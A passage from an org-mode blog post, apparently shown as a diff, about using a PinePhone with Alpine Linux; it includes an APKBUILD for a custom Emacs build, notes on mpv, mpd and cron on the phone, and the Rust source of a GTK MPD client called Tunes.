-#+END_EXPORT - -#+BEGIN_SRC prog -# Maintainer: Natanael Copa <[REDACTED]> -# Contributor: Timo Teräs <[REDACTED]> -pkgname=emacs -pkgver=29.0 -pkgrel=7 -pkgdesc="The extensible, customizable, self-documenting real-time display editor" -arch="all" -depends="emacs-nox" -url="https://www.gnu.org/software/emacs/emacs.html" -license="GPL-3.0-or-later" -makedepends=" - autoconf - automake - gawk - gmp-dev - gnutls-dev - harfbuzz-dev - jansson-dev - linux-headers - ncurses-dev - ncurses-libs - texinfo - " -subpackages="$pkgname-doc $pkgname-nox" -source="emacs-$pkgver.tar.xz" - -case $CARCH in - riscv64|s390x) - # limited by librsvg (rust) - _docdir="nox" - ;; - ,*) - makedepends=" - $makedepends - alsa-lib-dev - fontconfig-dev - giflib-dev - glib-dev - gtk+3.0-dev - libgccjit-dev - libjpeg-turbo-dev - libpng-dev - librsvg-dev - libxaw-dev - libxml2-dev - libxpm-dev - pango-dev - tiff-dev - " - subpackages=" - $subpackages - $pkgname-gtk3 - " - _docdir="gtk3" - ;; -esac - -prepare() { - default_prepare - ./autogen.sh -} - -_build_variant() { - cd "$builddir/$1" - shift - CFLAGS=-fno-pie \ - LDFLAGS=-no-pie \ - ./configure \ - --build=$CBUILD \ - --host=$CHOST \ - --prefix=/usr \ - --sysconfdir=/etc \ - --libexecdir=/usr/lib \ - --localstatedir=/var \ - --with-gameuser=:games \ - --with-gpm \ - --with-harfbuzz \ - --with-json \ - "${@}" - - make $_extra -} - -_build_gtk3() { - _build_variant gtk3 \ - --with-pgtk \ - --with-xft \ - --with-jpeg=yes \ - --with-tiff=no \ - --with-gif=ifavailable \ - --with-xpm=ifavailable -} - - # --with-x-toolkit=gtk3 \ - -_build_nox() { - _build_variant nox \ - --without-sound \ - --without-x \ - --without-file-notification -} - -build() { - mkdir -p nox - mv ./* nox || true - - case "$CARCH" in - riscv64|s390x) - # limited by librsvg (rust) - _build_nox - ;; - ,*) - cp -a nox gtk3 - _build_nox - _build_gtk3 - ;; - esac -} - -package() { - mkdir -p "$pkgdir" -} - -doc() { - depends="" - mkdir -p "$subpkgdir" - cd "$builddir"/"$_docdir" - make DESTDIR="$subpkgdir" install - # remove conflict with ctags package - mv "$subpkgdir"/usr/share/man/man1/ctags.1.gz "$subpkgdir"/usr/share/man/man1/ctags.emacs.1.gz - # only keep info and man directories, all other is in the specific package - rm -rf "${subpkgdir:?}"/usr/bin \ - "$subpkgdir"/usr/lib \ - "$subpkgdir"/usr/share/appdata \ - "$subpkgdir"/usr/share/applications \ - "$subpkgdir"/usr/share/emacs \ - "$subpkgdir"/usr/share/icons \ - "${subpkgdir:?}"/var \ - "$subpkgdir"/usr/lib/systemd -} - -_subpackage() { - cd "$builddir/$1" - make DESTDIR="$subpkgdir" install - - # remove conflict with ctags package - mv "$subpkgdir"/usr/bin/ctags "$subpkgdir"/usr/bin/ctags.emacs - rm -rf "$subpkgdir"/usr/share/info \ - "$subpkgdir"/usr/share/man - - # fix user/root permissions on usr/share files - find "$subpkgdir"/usr/share/emacs/ -exec chown root:root {} \; - find "$subpkgdir"/usr/lib -perm -g+s,g+x ! -type d -exec chmod g-s {} \; - # fix perms on /var/games - chmod 775 "$subpkgdir"/var/games - chmod 775 "$subpkgdir"/var/games/emacs - chmod 664 "$subpkgdir"/var/games/emacs/* - chown -R root:games "$subpkgdir"/var/games - - # remove useless systemd user file - rm -rf "$subpkgdir"/usr/lib/systemd -} - -nox() { - pkgdesc="$pkgdesc - without X11" - depends=" - !emacs-gtk3 - !emacs-gtk3-nativecomp - !emacs-x11 - !emacs-x11-nativecomp - " - _subpackage nox -} - -gtk3() { - pkgdesc="$pkgdesc - with GTK3" - depends=" - !emacs-gtk3-nativecomp - !emacs-nox - !emacs-x11 - !emacs-x11-nativecomp - desktop-file-utils - hicolor-icon-theme - " - _subpackage gtk3 -} - -sha512sums=" -20c96e4485b9acbc5c9049bca9b4d9675cd5f4062cd04a9abde4fb7088c7dc55e3bf473acce8f447825c0c1fd9a5def23623d0219bc0353b31892a0cc23f7884 emacs-29.0.tar.xz -" -#+END_SRC - -#+BEGIN_EXPORT html -
-#+END_EXPORT - -There is no Emacs =29.0= (yet, at the time of writing this), that's just so =apk= -knows that this is newer than what's in the repositories. - -And if you find the code snippet incomprehensible, don't worry, because I've got -a gentler introduction to Alpine packaging [[*Porting Software][later in this article]]. - -** YouTube on Mobile - -I was a [[https://en.wikipedia.org/wiki/NewPipe][NewPipe]] user when I was using Android. I'd frequently find it unusable, -and the times it was usable, I'd still get annoying toasts warning me of errors, -just about every time I watched a video. The F-Droid package didn't keep up with -YouTube cat-and-mouse game as quickly as youtube-dl did. I always thought about -how nice it would be to use =mpv= and =yt-dlp= just like I do on desktop, and that's -now a reality. - -#+CAPTION: mpv playing one of Andreas Kling's YouTube videos on SerenityOS, using yt-dlp to resolve the media stream. -[[./pinephone-running-mpv.png]] - -I get the video URLs from RSS and invoke =mpv= from the terminal. I find it -convenient. The only issue I had is that the screen blanks automatically even -when a video is playing, but this is easily remedied by prefixing =mpv= with -=gnome-session-inhibit --inhibit idle=. - -** Better Music Player - -LineageOS included the old Cyanogenmod Music app [[https://github.com/CyanogenMod/android_packages_apps_Eleven][Eleven]], and that's what I used -when I was on Android. I didn't see a purpose in using any other music player -since they all seem to use the same Android APIs and, hence, all suck as much as -Eleven does. Among other things, it cuts out frequently (presumably the process -getting killed due to memory pressure), and it can't even load a damned jpeg. - -#+CAPTION: Album artwork being mangled by some bug unknown to me. -[[./music-on-zeta.png]] - -So I was quite happy to be able to use =mpd= to listen to music on the PinePhone. -My entire library's managed with Syncthing. - -** Running scripts, cron, other automation - -Another "killer feature" is just being able to automate things with =bash= and -=cron= the way I would on desktop. One pain point I remember particularly when I -was using Android was manually adjusting the screen color temperature in -settings. Now I can just use =cron= to run =wlsunset= at a particular hour. - -I suppose that's the only example that's worth mentioning. I haven't leveraged -it as much as I could have (but I expect to in the future.) - -** Convergence - -A selling point of the PinePhone is [[https://yewtu.be/watch?v=yBeza4UNOm8][convergence]], enabling you to plug your phone -into a monitor and keyboard (over USB-C), and use it as if it were a desktop -computer. I haven't taken advantage of this yet, but I can SSH into my phone. -That's already far better than what I can do on Android, and it's enough for me -to be happy -- just being able to pull/push files over rsync, run shell commands -over SSH using an actual keyboard... - -The only thing I wish I could do is send SMS over SSH and get notifications from -my phone on my workstation. SMS messages can (theoretically) be sent using -=mmcli=, and I'm not sure about notifications. Perhaps I've made a programming -project for myself. - -** Run Linux Desktop Applications - -Nearly all of the above points boil down to the PinePhone enabling me to run -Linux desktop applications on mobile. Consistency is nice. Who would have known! - -* Software Development - -I consider this to be one of "The Good Parts", but it ended up being big enough -to take up a section of its own. - -** Software Stack Freedom - -If you're at least mildly familiar with Android, you know that the Java -ecosystem is nearly unavoidable if you're doing application development for the -platform.[fn:10] The NDK enables application developers to write code in other -languages (provided they "compile down" to machine code) but it isn't practical -to write an entire application this way, as NDK code is limited in the ways it -can interact with Android's APIs. Furthermore, the Android SDK is a pain in the -ass to use if you're not using [[https://en.wikipedia.org/wiki/Android_Studio][Google's IDE]]. It's doable, and I have [[https://git.sr.ht/~jakob/mines][done it in -the past]], but I got frustrated before I could set up an emulator for improving -the feedback loop. I was literally pushing to my device via =adb= on every build -if I wanted to experiment with something. That said, it is easy to understand -why it is this way. Google (and Apple) want to have uniformity across their -platforms' third-party applications, so they impose strong opinions (you /must/ -use our UI framework, you /must/ use our Java APIs). Comparatively, the -applications that run on my PinePhone are literally the same applications that -run on my workstation. I can use any language or libraries I want, provided they -support AArch64. I can develop and test on my workstation, and then push it to -the PinePhone with high confidence that it will work as intended. - -I've been writing my applications in Rust with =gtk-rs= and =libhandy=. There's been -a (somewhat recent) distinction between "application programming languages" and -"systems programming languages." Rust falls into the latter. The distinction is -somewhat arbitrary as you can write an application in assembly, but the reason -it's come up in recent years is because people want a way to describe languages -that (1) aren't interpreted or VM languages and (2) don't have a convenient -garbage collector. These sorts of language seem to work quite well for a -resource-constrained environment like the PinePhone, even if it is somewhat more -difficult than using something like Python or Ruby. - -Using Rust is perhaps a bit overkill. I'm sure Vala would have been a good -choice, too, since it compiles to C, but I went with Rust because I'm more -comfortable with it and it has a ecosystem of libraries for the sorts of things -I want to do. - -So that's all I have to say about the language decision, but there's the -decision of UI toolkit too. I went with GTK3 and [[https://gitlab.gnome.org/GNOME/libhandy][libhandy]]: the classic GNOME UI -toolkit and [[https://puri.sm/][Purism]]'s supporting library for adaptive, mobile-friendly layouts -and widgets. But that isn't the only option available. Still in GNOME land, -there is GTK4 and [[https://blogs.gnome.org/alexm/2021/12/31/libadwaita-1-0/][libadwaita]], which I'll probably be using in the near future. -I'm just a little slow to start using cool new things. There are /many/ more -choices on the Plasma Mobile side of the house: [[https://develop.kde.org/frameworks/kirigami//][Kirigami]], [[https://mauikit.org/][MauiKit]] (built on top -of Kirigami), plain [[https://doc.qt.io/qt-5/qtquick-index.html][QtQuick]], or Sailfish OS's [[https://sailfishos.org/develop/docs/silica/][Silica]]. While GTK and QT are the -leading frameworks, I was keeping a close eye on [[https://github.com/dvdsk/pods][pods]], a PinePhone-oriented -application using Rust's [[https://github.com/iced-rs/iced][iced]], which is neither GTK nor QT. Unfortunately, it -looks to have since stagnated. But [[https://sr.ht/~mil/mepo/][mepo]], a maps application, is a surprisingly -pleasant mobile experience and is written just in SDL. - -As an aside, I'd like to experiment with some immediate-mode UI frameworks on -the PinePhone. GTK is relatively performant, but I'm curious about whether -something like [[https://github.com/emilk/egui][egui]] would be "snappier". Hell, maybe it would be interesting to -try and write my own UI framework. - -*** "Tunes", an MPD Client for Rust - -To demonstrate the GTK3 and libhandy combo, I decided to write the minimum -viable product of an application I want on my PinePhone that, to my knowledge, -doesn't exist yet. A touch-friendly GTK+ MPD client. - -Yes... I've been using =mpc= in the terminal emulator since I got the phone. It's -not as pleasant when you don't have a real keyboard, so this application will -theoretically improve my quality-of-life. - -But, because I don't want this post to take any longer than it already has, I'm -just going to write about what I could get done in a few weeknights. It's a -single-file, and fairly self-contained. - -*** Alright, Let's See the Code - -It's a few hundred lines and I've dumped it here under a fold since it's a few -hundred lines. You can find it [[https://git.sr.ht/~jakob/tunes][on SourceHut]] as well, which has the =Cargo.toml= -and all that you would need to actually build it. - -#+BEGIN_EXPORT html -
-#+END_EXPORT - -#+BEGIN_SRC rust -// Copyright © 2021-2022 Jakob L. Kreuze <[REDACTED]> -// -// This file is part of Tunes. -// -// Tunes is free software; you can redistribute it and/or modify it -// under the terms of the GNU Affero General Public License as -// published by the Free Software Foundation; either version 3 of the -// License, or (at your option) any later version. -// -// Tunes is distributed in the hope that it will be useful, but WITHOUT -// ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -// or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General -// Public License for more details. -// -// You should have received a copy of the GNU Affero General Public -// License along with Tunes. If not, see . - -use futures::{channel::mpsc, StreamExt}; -use glib::clone; -use gtk::prelude::*; -use gtk::subclass::prelude::ObjectSubclassExt; -use gtk::{gdk_pixbuf, gio, glib, pango}; -use libhandy::prelude::*; -use libhandy::{ApplicationWindow, HeaderBar}; -use mpd::idle::Idle; -use mpd::Client; - -const MPD_HOST: &str = "127.0.0.1:6600"; - -fn main() { - let application = gtk::Application::builder() - .application_id("space.jakob.Tunes") - .build(); - - // We have to wait until the `activate` signal is fired before we can do our - // setup. - application.connect_activate(|app| { - // Our event-handling code will look a bit like what's common in SDL - // with their `SDLPollEvent` interface, in the sense that we'll have all - // of the different sub-systems of this application notify the main - // event loop by way of a channel. - let (sender, mut receiver) = mpsc::channel(1024); - - // Load all of the mobile UI support code from `libhandy`. - libhandy::init(); - - // `mpd` will notify us of events. Let's spin up a thread to listen for - // those notifications, and shuttle them through a channel as they - // arrive. - std::thread::spawn(clone!(@strong sender => move || { - let mut conn = Client::connect(MPD_HOST).unwrap(); - while let Ok(_subsystems) = conn.wait(&[mpd::idle::Subsystem::Player]) { - let mut sender = sender.clone(); - sender - .try_send(StateUpdateKind::MpdEvent) - .expect("Couldn't notify thread"); - } - })); - - // We'll connect to the MPD daemon here so we can populate the UI with - // some information from the current state. - let mut conn = Client::connect(MPD_HOST).unwrap(); - - // We'll have two "views" in our application: one for viewing and - // manipulating the current `mpd` queue, and another for searching for - // songs to add to the queue. In GTK, we can handle switching between - // these different views using a Stack. - let stack = gtk::Stack::new(); - stack.set_expand(true); - - let song_info = SongInfo::new(sender.clone()); - stack.add_named(song_info.as_ref(), "current_song"); - stack.set_child_title(song_info.as_ref(), Some("Now Playing")); - stack.set_child_icon_name(song_info.as_ref(), Some("audio-speakers-symbolic")); - - let query_info = QueryInfo::new(sender.clone()); - stack.add_named(query_info.as_ref(), "query_songs"); - stack.set_child_title(query_info.as_ref(), Some("Search Database")); - stack.set_child_icon_name(query_info.as_ref(), Some("system-search-symbolic")); - - // The `HeaderBar` is a GTK concept that libhandy plays nicely with. On - // desktop, the elements for switching stack views will show up there. - // On mobile, it will show up in a `ViewSwitcherBar` at the bottom. - let header_bar = HeaderBar::builder() - .show_close_button(true) - .title(&header_title(&mut conn).unwrap()) - .build(); - let view_switcher_title = libhandy::ViewSwitcherTitle::builder() - .title("Tunes") - .stack(&stack) - .build(); - header_bar.add(&view_switcher_title); - let view_switcher_bar = libhandy::ViewSwitcherBar::builder() - .visible(true) - .can_focus(false) - .stack(&stack) - .reveal(true) - .build(); - - // The window needs a single child, so we'll join the header bar, the - // stack, and the view switcher into a single box. - let content = gtk::Box::new(gtk::Orientation::Vertical, 0); - content.set_vexpand(true); - content.add(&header_bar); - content.add(&stack); - content.add(&view_switcher_bar); - - // Finally, the window. It's tied to a child, which we made above, and - // the GtkApplication that we declared at the beginning of `main`. - let window = ApplicationWindow::builder() - .default_width(350) - .default_height(70) - .modal(true) - .child(&content) - .build(); - window.set_application(Some(app)); - window.show_all(); - - // This isn't perfect (it won't run when the window gets its initial - // size), but this is how we notify that the album art display should be - // resized. - window.connect_configure_event(clone!(@strong sender => move |_, _| { - let mut sender = sender.clone(); - sender - .try_send(StateUpdateKind::WindowResizeEvent) - .expect("Couldn't notify thread"); - false - })); - - // Now that everything's been allocated a window, let's go ahead and - // update the widgets. - song_info - .update(&mut conn) - .expect("Couldn't update song info"); - - // The following code will fill the search view with every song in the - // database. If you have a music library as big as mine, it will - // negatively impact startup time. This could be done in, for example, a - // worker thread, but I've just omitted it because I don't want this - // example to be more complex than it has to be. - // - // let mut query = mpd::Query::new(); - // query.and(mpd::Term::Any, ""); - // let songs = conn.search(&query, (0, 65535)); - // for song in songs.unwrap() { - // query_info.model.insert(0, &SongObject::new(&song)); - // } - - // Finally, we'll start the "main event loop" we've been talking about - // in the main context of the application. - let main_context = gtk::glib::MainContext::default(); - main_context.spawn_local(async move { - let mut conn = Client::connect(MPD_HOST).unwrap(); - while let Some(event_type) = receiver.next().await { - match event_type { - StateUpdateKind::MpdEvent => { - if let Ok(title) = header_title(&mut conn) { - header_bar.set_title(Some(&title)); - song_info - .update(&mut conn) - .expect("Couldn't update song info"); - } - } - StateUpdateKind::WindowResizeEvent => { - song_info - .update_album_art(&mut conn) - .expect("Couldn't update album art"); - } - StateUpdateKind::QueryUpdateEvent(query_string) => { - // Let's not produce massive queries while the user is typing :) - if query_string.len() <= 2 { - continue; - } - - // Start from a blank slate. - query_info.model.remove_all(); - - // Query on all fields, case-insensitively, for the text - // that the user input. - let mut query = mpd::Query::new(); - query.and(mpd::Term::Any, &query_string); - let songs = conn.search(&query, (0, 65535)); - - // Insert them all into the model. This is reversed, - // which I don't consider to be a big deal. It's far - // less complex than adding it in order, which you will - // see below in the code that handles the queue. - for song in songs.unwrap() { - query_info.model.insert(0, &SongObject::new(&song)); - } - } - StateUpdateKind::QueueDeleteRequest(index) => { - conn.delete(index).expect("Couldn't dequeue song"); - } - StateUpdateKind::QueueAddRequest(filename) => { - conn.push_str(filename).expect("Couldn't queue song"); - } - StateUpdateKind::PlaybackStateChange(action) => { - dispatch_playback_state_change(&mut conn, action) - .expect("Couldn't queue action"); - } - } - } - }); - }); - - application.run(); -} - -/// Take action on `conn` based on a `PlaybackStateChange` notification -fn dispatch_playback_state_change( - conn: &mut mpd::Client, - action: PlaybackStateChange, -) -> anyhow::Result<()> { - use PlaybackStateChange::*; - match action { - SkipBackwards => conn.prev()?, - SkipForwards => conn.next()?, - Start => conn.play()?, - Stop => conn.stop()?, - Pause => conn.pause(true)?, - } - Ok(()) -} - -/// Kind of event we can notify the UI future about -#[derive(Debug)] -enum StateUpdateKind { - MpdEvent, - WindowResizeEvent, - QueryUpdateEvent(String), - QueueAddRequest(String), - QueueDeleteRequest(u32), - PlaybackStateChange(PlaybackStateChange), -} - -/// A simple action that affects playback state. -#[derive(Debug)] -enum PlaybackStateChange { - Start, - Stop, - Pause, - SkipBackwards, - SkipForwards, -} - -/// Produce a short status line for the current state of `conn`. -fn header_title(conn: &mut mpd::client::Client) -> anyhow::Result { - let status = conn.status(); - let state_descriptor = match status?.state { - mpd::status::State::Stop => "[STOPPED]", - mpd::status::State::Pause => "[PAUSED]", - mpd::status::State::Play => "[PLAYING]", - }; - if let Some(song) = conn.currentsong()? { - Ok(format!( - "{} {} - {}", - state_descriptor, - song.title.unwrap_or_else(|| "Untitled".into()), - song.artist.unwrap_or_else(|| "Untitled".into()), - )) - } else { - Ok("Tunes: No Song".into()) - } -} - -/// View for information about the currently playing song. -struct SongInfo { - container: gtk::Box, - album_art: gtk::Image, - song_text: gtk::Label, - model: gio::ListStore, -} - -impl SongInfo { - fn new(sender: mpsc::Sender) -> Self { - let container = gtk::Box::new(gtk::Orientation::Vertical, 16); - let album_art = gtk::Image::new(); - let song_text = gtk::Label::new(None); - song_text.set_justify(gtk::Justification::Center); - song_text.set_line_wrap(true); - song_text.set_line_wrap_mode(pango::WrapMode::WordChar); - container.add(&album_art); - container.add(&song_text); - - let action_bar = gtk::Box::new(gtk::Orientation::Horizontal, 16); - action_bar.set_halign(gtk::Align::Center); - - let control_previous_song = gtk::Button::from_icon_name( - Some("media-skip-backward-symbolic"), - gtk::IconSize::SmallToolbar, - ); - action_bar.add(&control_previous_song); - control_previous_song.connect_clicked(clone!(@strong sender => move |_| { - let mut sender = sender.clone(); - sender - .try_send(StateUpdateKind::PlaybackStateChange( - PlaybackStateChange::SkipBackwards, - )) - .expect("Couldn't notify thread"); - })); - - let control_start_song = gtk::Button::from_icon_name( - Some("media-playback-start-symbolic"), - gtk::IconSize::SmallToolbar, - ); - action_bar.add(&control_start_song); - control_start_song.connect_clicked(clone!(@strong sender => move |_| { - let mut sender = sender.clone(); - sender - .try_send(StateUpdateKind::PlaybackStateChange( - PlaybackStateChange::Start, - )) - .expect("Couldn't notify thread"); - })); - - let control_pause_song = gtk::Button::from_icon_name( - Some("media-playback-pause-symbolic"), - gtk::IconSize::SmallToolbar, - ); - action_bar.add(&control_pause_song); - control_pause_song.connect_clicked(clone!(@strong sender => move |_| { - let mut sender = sender.clone(); - sender - .try_send(StateUpdateKind::PlaybackStateChange( - PlaybackStateChange::Pause, - )) - .expect("Couldn't notify thread"); - })); - - let control_stop_song = gtk::Button::from_icon_name( - Some("media-playback-stop-symbolic"), - gtk::IconSize::SmallToolbar, - ); - action_bar.add(&control_stop_song); - control_stop_song.connect_clicked(clone!(@strong sender => move |_| { - let mut sender = sender.clone(); - sender - .try_send(StateUpdateKind::PlaybackStateChange( - PlaybackStateChange::Stop, - )) - .expect("Couldn't notify thread"); - })); - - let control_next_song = gtk::Button::from_icon_name( - Some("media-skip-forward-symbolic"), - gtk::IconSize::SmallToolbar, - ); - action_bar.add(&control_next_song); - control_next_song.connect_clicked(clone!(@strong sender => move |_| { - let mut sender = sender.clone(); - sender - .try_send(StateUpdateKind::PlaybackStateChange( - PlaybackStateChange::SkipForwards, - )) - .expect("Couldn't notify thread"); - })); - - let model = gio::ListStore::new(SongObject::static_type()); - let listbox = gtk::ListBox::new(); - listbox.bind_model( - Some(&model), - clone!(@strong sender => move |item| { - let sender = sender.clone(); - - let box_ = gtk::ListBoxRow::new(); - let item = item - .downcast_ref::() - .expect("Row data is of wrong type"); - - let grid = gtk::Grid::builder().column_homogeneous(true).build(); - - let remove_individual_song = gtk::Button::from_icon_name( - Some("list-remove-symbolic"), - gtk::IconSize::SmallToolbar, - ); - let index = item.property::("index"); - remove_individual_song.connect_clicked(move |_| { - let mut sender = sender.clone(); - sender - .try_send(StateUpdateKind::QueueDeleteRequest(index)) - .expect("Couldn't notify thread"); - sender - .try_send(StateUpdateKind::MpdEvent) - .expect("Couldn't notify thread"); - }); - grid.attach(&remove_individual_song, 0, 0, 1, 1); - - let title_label = gtk::Label::new(None); - title_label.set_line_wrap(true); - title_label.set_line_wrap_mode(pango::WrapMode::WordChar); - item.bind_property("title", &title_label, "label") - .flags(glib::BindingFlags::DEFAULT | glib::BindingFlags::SYNC_CREATE) - .build(); - grid.attach(&title_label, 1, 0, 1, 1); - - let album_label = gtk::Label::new(None); - album_label.set_line_wrap(true); - album_label.set_line_wrap_mode(pango::WrapMode::WordChar); - item.bind_property("album", &album_label, "label") - .flags(glib::BindingFlags::DEFAULT | glib::BindingFlags::SYNC_CREATE) - .build(); - grid.attach(&album_label, 2, 0, 1, 1); - - - let artist_label = gtk::Label::new(None); - artist_label.set_line_wrap(true); - artist_label.set_line_wrap_mode(pango::WrapMode::WordChar); - item.bind_property("artist", &artist_label, "label") - .flags(glib::BindingFlags::DEFAULT | glib::BindingFlags::SYNC_CREATE) - .build(); - grid.attach(&artist_label, 3, 0, 1, 1); - - grid.show_all(); - box_.add(&grid); - box_.upcast::() - }), - ); - - let scrolled_window = - gtk::ScrolledWindow::new(gtk::Adjustment::NONE, gtk::Adjustment::NONE); - scrolled_window.add(&listbox); - scrolled_window.set_vexpand(true); - - container.add(&action_bar); - container.add(&scrolled_window); - container.show_all(); - - SongInfo { - container, - album_art, - song_text, - model, - } - } - - fn update_album_art(&self, conn: &mut mpd::Client) -> anyhow::Result<()> { - if let Some(song) = conn.currentsong()? { - // If we've been allocated a window, pick the least dimension (width - // or height) and divide that dimension by two to get the size (in - // pixels) that we'll scale the album art to. Otherwise, we default - // to 128. - let album_art_size = std::cmp::min( - self.container - .window() - .map(|x| x.width() / 2) - .unwrap_or(128), - self.container - .window() - .map(|x| x.height() / 2) - .unwrap_or(128), - ); - - let image_data = conn.albumart(&song)?; - let image_pixbuf = gdk_pixbuf::Pixbuf::from_stream( - &gio::MemoryInputStream::from_bytes(&glib::Bytes::from(&image_data)), - gio::Cancellable::NONE, - ) - .ok() - .and_then(|x| { - x.scale_simple( - album_art_size, - album_art_size, - gtk::gdk_pixbuf::InterpType::Hyper, - ) - }); - self.album_art.set_pixbuf(image_pixbuf.as_ref()); - } - Ok(()) - } - - fn update(&self, conn: &mut mpd::Client) -> anyhow::Result<()> { - self.update_album_art(conn)?; - - if let Some(song) = conn.currentsong()? { - let title = song.title.as_deref().unwrap_or("[Unknown]"); - let artist = song.artist.as_deref().unwrap_or("[Unknown]"); - let album = song - .tags - .get("Album") - .map(|x| x.as_str()) - .unwrap_or("[Unknown]"); - let text = format!("{}\n{} - {}", title, artist, album); - self.song_text.set_text(&text); - - // We'll use `pango` attributes to make the display look nice and - // pretty. Scale the title of the song the most, and still make the - // other info reasonably large. - let attr_list = gtk::pango::AttrList::new(); - let mut attr = gtk::pango::AttrFloat::new_scale(2.0); - attr.set_start_index(0); - attr.set_end_index(title.len() as u32); - attr_list.insert(attr); - let mut attr = gtk::pango::AttrFloat::new_scale(1.5); - attr.set_start_index(title.len() as u32 + 1); - attr_list.insert(attr); - - self.song_text.set_attributes(Some(&attr_list)); - } - - self.model.remove_all(); - for (i, song) in conn.queue()?.iter().enumerate() { - let index = i.try_into().unwrap(); - let object = SongObject::new(song); - object.set_index(index); - self.model.insert(index, &object) - } - - Ok(()) - } -} - -impl AsRef for SongInfo { - fn as_ref(&self) -> >k::Widget { - self.container.upcast_ref() - } -} - -/// View for selecting songs to add to the queue. -struct QueryInfo { - container: gtk::Box, - model: gio::ListStore, -} - -impl QueryInfo { - fn new(sender: mpsc::Sender) -> Self { - let container = gtk::Box::new(gtk::Orientation::Vertical, 2); - - let query_input = gtk::Entry::builder().visible(true).build(); - query_input.connect_key_press_event(clone!(@strong sender => move |widget, _| { - let mut sender = sender.clone(); - sender - .try_send(StateUpdateKind::QueryUpdateEvent(widget.text().into())) - .expect("Couldn't notify thread"); - gtk::Inhibit(false) - })); - - let model = gio::ListStore::new(SongObject::static_type()); - let listbox = gtk::ListBox::new(); - listbox.bind_model(Some(&model), clone!(@strong sender => move |item| { - let sender = sender.clone(); - - let box_ = gtk::ListBoxRow::new(); - let item = item - .downcast_ref::() - .expect("Row data is of wrong type"); - - let grid = gtk::Grid::builder().column_homogeneous(true).build(); - - let add_individual_song = - gtk::Button::from_icon_name(Some("list-add-symbolic"), gtk::IconSize::SmallToolbar); - add_individual_song.set_visible(true); - let filename = item.property::("filename"); - add_individual_song.connect_clicked(move |_| { - let filename = filename.clone(); - let mut sender = sender.clone(); - sender - .try_send(StateUpdateKind::QueueAddRequest(filename)) - .expect("Couldn't notify thread"); - sender - .try_send(StateUpdateKind::MpdEvent) - .expect("Couldn't notify thread"); - }); - grid.attach(&add_individual_song, 0, 0, 1, 1); - - let title_label = gtk::Label::new(None); - title_label.set_line_wrap(true); - title_label.set_line_wrap_mode(pango::WrapMode::WordChar); - item.bind_property("title", &title_label, "label") - .flags(glib::BindingFlags::DEFAULT | glib::BindingFlags::SYNC_CREATE) - .build(); - grid.attach(&title_label, 1, 0, 1, 1); - - let album_label = gtk::Label::new(None); - album_label.set_line_wrap(true); - album_label.set_line_wrap_mode(pango::WrapMode::WordChar); - item.bind_property("album", &album_label, "label") - .flags(glib::BindingFlags::DEFAULT | glib::BindingFlags::SYNC_CREATE) - .build(); - grid.attach(&album_label, 2, 0, 1, 1); - - let artist_label = gtk::Label::new(None); - artist_label.set_line_wrap(true); - artist_label.set_line_wrap_mode(pango::WrapMode::WordChar); - item.bind_property("artist", &artist_label, "label") - .flags(glib::BindingFlags::DEFAULT | glib::BindingFlags::SYNC_CREATE) - .build(); - grid.attach(&artist_label, 3, 0, 1, 1); - - grid.show_all(); - box_.add(&grid); - box_.upcast::() - })); - - let scrolled_window = - gtk::ScrolledWindow::new(gtk::Adjustment::NONE, gtk::Adjustment::NONE); - scrolled_window.add(&listbox); - scrolled_window.set_vexpand(true); - - container.add(&query_input); - container.add(&scrolled_window); - - QueryInfo { container, model } - } -} - -impl AsRef for QueryInfo { - fn as_ref(&self) -> >k::Widget { - self.container.upcast_ref() - } -} - -// Unfortunately, to use the `ListStore` interface, we'll need to represent our -// data as an actual `glib` object. This is a little hairy in Rust, involving a -// fair bit of boilerplate, but not too terrible. -glib::wrapper! { - pub struct SongObject(ObjectSubclass); -} - -impl SongObject { - pub fn new(song: &mpd::song::Song) -> Self { - glib::Object::new(&[ - ("filename", &song.file.clone()), - ( - "title", - &song - .title - .as_ref() - .cloned() - .unwrap_or_else(|| "[Untitled]".into()), - ), - ( - "artist", - &song - .artist - .as_ref() - .cloned() - .unwrap_or_else(|| "[No Artist]".into()), - ), - ( - "album", - &song - .tags - .get("Album") - .cloned() - .unwrap_or_else(|| "[Untitled]".into()), - ), - ]) - .expect("Failed to create `SongObject`.") - } - - pub fn set_index(&self, idx: u32) { - let private = imp::SongObject::from_instance(self); - private.index.set(idx); - } -} - -// These class "implementations" are typically done in a separate -// file/directory. I wanted to keep the example self-contained. -mod imp { - use std::cell::{Cell, RefCell}; - - use glib::{ParamSpec, ParamSpecString, Value}; - use gtk::glib; - use gtk::prelude::*; - use gtk::subclass::prelude::*; - use once_cell::sync::Lazy; - - // Object holding the state - #[derive(Default)] - pub struct SongObject { - filename: RefCell, - title: RefCell, - artist: RefCell, - album: RefCell, - pub(crate) index: Cell, - } - - // The central trait for subclassing a GObject - #[glib::object_subclass] - impl ObjectSubclass for SongObject { - const NAME: &'static str = "TunesSongObject"; - type Type = super::SongObject; - } - - // Trait shared by all GObjects - impl ObjectImpl for SongObject { - fn properties() -> &'static [ParamSpec] { - static PROPERTIES: Lazy> = Lazy::new(|| { - vec![ - ParamSpecString::builder("filename").build(), - ParamSpecString::builder("title").build(), - ParamSpecString::builder("artist").build(), - ParamSpecString::builder("album").build(), - ParamSpecString::builder("index").build(), - ] - }); - PROPERTIES.as_ref() - } - - fn set_property(&self, _obj: &Self::Type, _id: usize, value: &Value, pspec: &ParamSpec) { - match pspec.name() { - "filename" => { - let input = value - .get() - .expect("The value needs to be of type `String`."); - self.filename.replace(input); - } - "title" => { - let input = value - .get() - .expect("The value needs to be of type `String`."); - self.title.replace(input); - } - "artist" => { - let input = value - .get() - .expect("The value needs to be of type `String`."); - self.artist.replace(input); - } - "album" => { - let input = value - .get() - .expect("The value needs to be of type `String`."); - self.album.replace(input); - } - "index" => { - let input = value.get().expect("The value needs to be of type `u32`."); - self.index.replace(input); - } - _ => unimplemented!(), - } - } - - fn property(&self, _obj: &Self::Type, _id: usize, pspec: &ParamSpec) -> Value { - match pspec.name() { - "filename" => self.filename.borrow().to_value(), - "title" => self.title.borrow().to_value(), - "artist" => self.artist.borrow().to_value(), - "album" => self.album.borrow().to_value(), - "index" => self.index.get().to_value(), - _ => unimplemented!(), - } - } - } -} -#+END_SRC - -#+BEGIN_EXPORT html -
